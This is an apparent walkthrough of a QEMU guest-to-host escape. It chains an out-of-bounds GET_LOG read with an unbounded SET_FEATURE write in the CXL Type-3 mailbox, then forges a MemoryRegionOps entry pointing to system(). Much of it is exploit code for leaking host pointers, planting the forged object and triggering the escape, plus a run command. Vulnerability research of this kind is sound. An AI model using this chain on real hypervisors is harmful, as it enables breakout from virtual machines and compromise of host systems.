# How to Escape QEMU CXL Type-3 Mailbox: A Full Exploit Walkthrough

> Learn how to escape the QEMU CXL Type-3 mailbox by chaining an out-of-bounds read with an unbounded write to execute arbitrary host code. Full exploit walkthrough.

- Repository: [bikini/exploitarium](https://github.com/bikini/exploitarium)
- Tags: exploit-walkthrough
- Published: 2026-09-07

---

**To escape the QEMU CXL Type-3 mailbox, attackers chain an out-of-bounds read in `GET_LOG` with an unbounded write in `SET_FEATURE` to forge a malicious device object and execute arbitrary host code.**

The `bikini/exploitarium` repository demonstrates a complete guest-to-host escape targeting QEMU’s implementation of CXL Type-3 devices. By exploiting two distinct vulnerabilities in [`hw/cxl/cxl-mailbox-utils.c`](https://github.com/bikini/exploitarium/blob/main/hw/cxl/cxl-mailbox-utils.c), the proof of concept achieves arbitrary code execution on the hypervisor from within a virtual machine.

## Understanding the Vulnerabilities in QEMU’s Mailbox Implementation

QEMU exposes a mailbox interface for CXL Type-3 devices that guests use to issue management commands. The exploit relies on two critical flaws in the mailbox command handlers.

### The GET_LOG Out-of-Bounds Read

At `hw/cxl/cxl-mailbox-utils.c:1217-1220`, the `GET_LOG` command handler validates `offset+length` against the size of `cel_log`, but then uses `offset` directly as an array index without proper bounds checking. This allows an out-of-bounds `memmove` from `cci->cel_log`, leaking host memory contents to the guest.

### The SET_FEATURE Rank-Sparing Overflow

At `hw/cxl/cxl-mailbox-utils.c:1908-1916`, the `SET_FEATURE` handler for rank sparing writes guest-controlled data to `rank_sparing_wr_attrs + hdr->offset` without validating the destination size. The code subsequently clears `data_size` bytes with `memset`, permitting attackers to overwrite arbitrary memory within the CXL Type-3 device object.

## Chaining the Exploit: From Memory Leak to Code Execution

The proof of concept in [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) orchestrates a four-stage attack that transforms these memory safety violations into full host compromise.

### Leaking Host Pointers with GET_LOG

The `leak_rel()` function exploits the `GET_LOG` vulnerability to extract 64-bit host pointers from QEMU’s memory. By issuing `CMD_GET_LOG` (0x0401) with a crafted offset, the attacker reads past the bounds of `cel_log` to obtain the QEMU PIE base and the address of the `CXLType3Dev` structure.

```c
U64 leak_rel(u32 rel)
{
    u32 off = GET_LOG_OOB_BASE_OFFSET + (rel >> 2);
    payload_write(0, cel_uuid, 16);
    w32(MBOX_PAYLOAD + 16, off);
    w32(MBOX_PAYLOAD + 20, 8);
    mailbox_cmd(CMD_GET_LOG, 24);
    return (U64){ r32(MBOX_PAYLOAD), r32(MBOX_PAYLOAD + 4) };
}

```

*Source:* [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) lines 48-55

### Forging a Malicious CXL Object

With the leaked addresses, `forge_payload()` constructs a counterfeit CXL device structure in a contiguous buffer. The payload includes a fake `FlatView`, `AddressSpaceDispatch`, `MemoryRegion`, and `MemoryRegionOps` at precise offsets (`FAKE_FLATVIEW_OFF` at 0x54e, `FAKE_MEMORY_REGION_OFF` at 0x62e). The `MemoryRegionOps.write` field is overwritten with a pointer to `system()` calculated from the leaked libc base.

```c
static void forge_payload(U64 rank_host, U64 fn, U64 opaque,
                          U64 mr_addr, const char *arg)
{
    /* Build FlatView, Dispatch, Section, MemoryRegion, Ops, … */
    put64(fake, FAKE_FLATVIEW_OFF + 16, 1);
    put64(fake, FAKE_FLATVIEW_OFF + 40, fake_dispatch);
    put64(fake, FAKE_OPS_OFF + 8, fn);   // fn points to system()
}

```

*Source:* [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) lines 93-106

### Planting the Payload via SET_FEATURE

The `send_rank()` function uses the vulnerable `SET_FEATURE` handler to copy the forged object into `rank_sparing_wr_attrs`. By specifying a `feature_off` that aligns with the device structure’s memory layout, the attacker overwrites critical pointers in the `CXLType3Dev` object.

```c
static void send_rank(u16 feature_off, const u8 *data, u32 n)
{
    payload_write(0, rank_uuid, 16);
    w32(MBOX_PAYLOAD + 16, 1);
    w32(MBOX_PAYLOAD + 20, ((u32)1 << 16) | feature_off);
    payload_write_zero(24, 8);
    payload_write(32, data, n);
    mailbox_cmd(CMD_SET_FEAT, 32 + n);
}

```

*Source:* [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) lines 58-66

### Triggering Arbitrary Code Execution

Finally, `trigger_media_sanitize()` sends a `MEDIA_OPERATIONS` command (`CMD_MEDIA_OP` = 0x4402) that causes QEMU to call `address_space_set()` on the forged `MemoryRegion`. This dereferences the attacker-controlled `MemoryRegionOps` structure and invokes `system()` with attacker-supplied arguments, creating the file `/tmp/qemu_cxl_escape_marker` as proof of successful escape.

```c
/* Inside trigger_media_sanitize() - issues CMD_MEDIA_OP */
w16(MBOX_PAYLOAD, 0x4402);  /* Sanitize operation */
mailbox_cmd(CMD_MEDIA_OP, ...);

```

## Running the Proof of Concept

The repository includes a complete test environment. The `boot.asm` bootloader loads a 32-bit protected-mode stage from sector 2 of a floppy image, while [`stage2.c`](https://github.com/bikini/exploitarium/blob/main/stage2.c) contains the exploit logic. Execute the following to reproduce the escape:

```bash

# Run with your QEMU binary path

sh run.sh /usr/local/bin/qemu-system-x86_64

```

*Source:* [`run.sh`](https://github.com/bikini/exploitarium/blob/main/run.sh)

The serial console output will show the leaked addresses, the forged object construction, and finally the creation of the marker file on the host filesystem, confirming that the guest has escaped the QEMU sandbox through the CXL Type-3 mailbox interface.

## Summary

- **Out-of-bounds read**: The `GET_LOG` handler at `hw/cxl/cxl-mailbox-utils.c:1217-1220` leaks host pointers by reading past `cel_log` bounds.
- **Arbitrary write**: The `SET_FEATURE` handler at `hw/cxl/cxl-mailbox-utils.c:1908-1916` allows writing crafted data to arbitrary offsets within the device object.
- **Object forgery**: The exploit constructs a fake `FlatView` and `MemoryRegion` structure with malicious function pointers.
- **Code execution**: Triggering `MEDIA_OPERATIONS` forces QEMU to dereference the forged object, executing `system()` with attacker-controlled arguments.

## Frequently Asked Questions

### What QEMU versions are vulnerable to this CXL mailbox escape?

The vulnerabilities exist in QEMU’s CXL Type-3 mailbox implementation in [`hw/cxl/cxl-mailbox-utils.c`](https://github.com/bikini/exploitarium/blob/main/hw/cxl/cxl-mailbox-utils.c). Any version built with CXL Type-3 support containing the buggy `GET_LOG` and `SET_FEATURE` handlers is vulnerable. Consult the QEMU source history for patches addressing bounds checking at lines 1217-1220 and 1908-1916.

### Why does the GET_LOG vulnerability allow reading arbitrary host memory?

The handler checks `offset+length` against the buffer size but fails to validate `offset` itself before using it as an index into `cci->cel_log`. This permits negative or large positive offsets that read from memory outside the intended log buffer, leaking QEMU’s PIE base and library addresses to the guest.

### How does the fake CXL object achieve code execution?

The forged object includes a fake `MemoryRegionOps` structure where the `write` callback pointer is replaced with the address of `system()`. When the `MEDIA_OPERATIONS` command triggers an `address_space_set()` call, QEMU dereferences the attacker-controlled `MemoryRegion` and executes the callback, passing the guest-supplied string to the host’s shell.

### Can this exploit be mitigated without patching QEMU?

Disabling CXL Type-3 device emulation or running QEMU with additional sandboxing (such as seccomp-bpf filters restricting the `system()` call family) may mitigate impact. However, the only complete remediation is applying source patches that add proper bounds checking to the mailbox command handlers in [`hw/cxl/cxl-mailbox-utils.c`](https://github.com/bikini/exploitarium/blob/main/hw/cxl/cxl-mailbox-utils.c).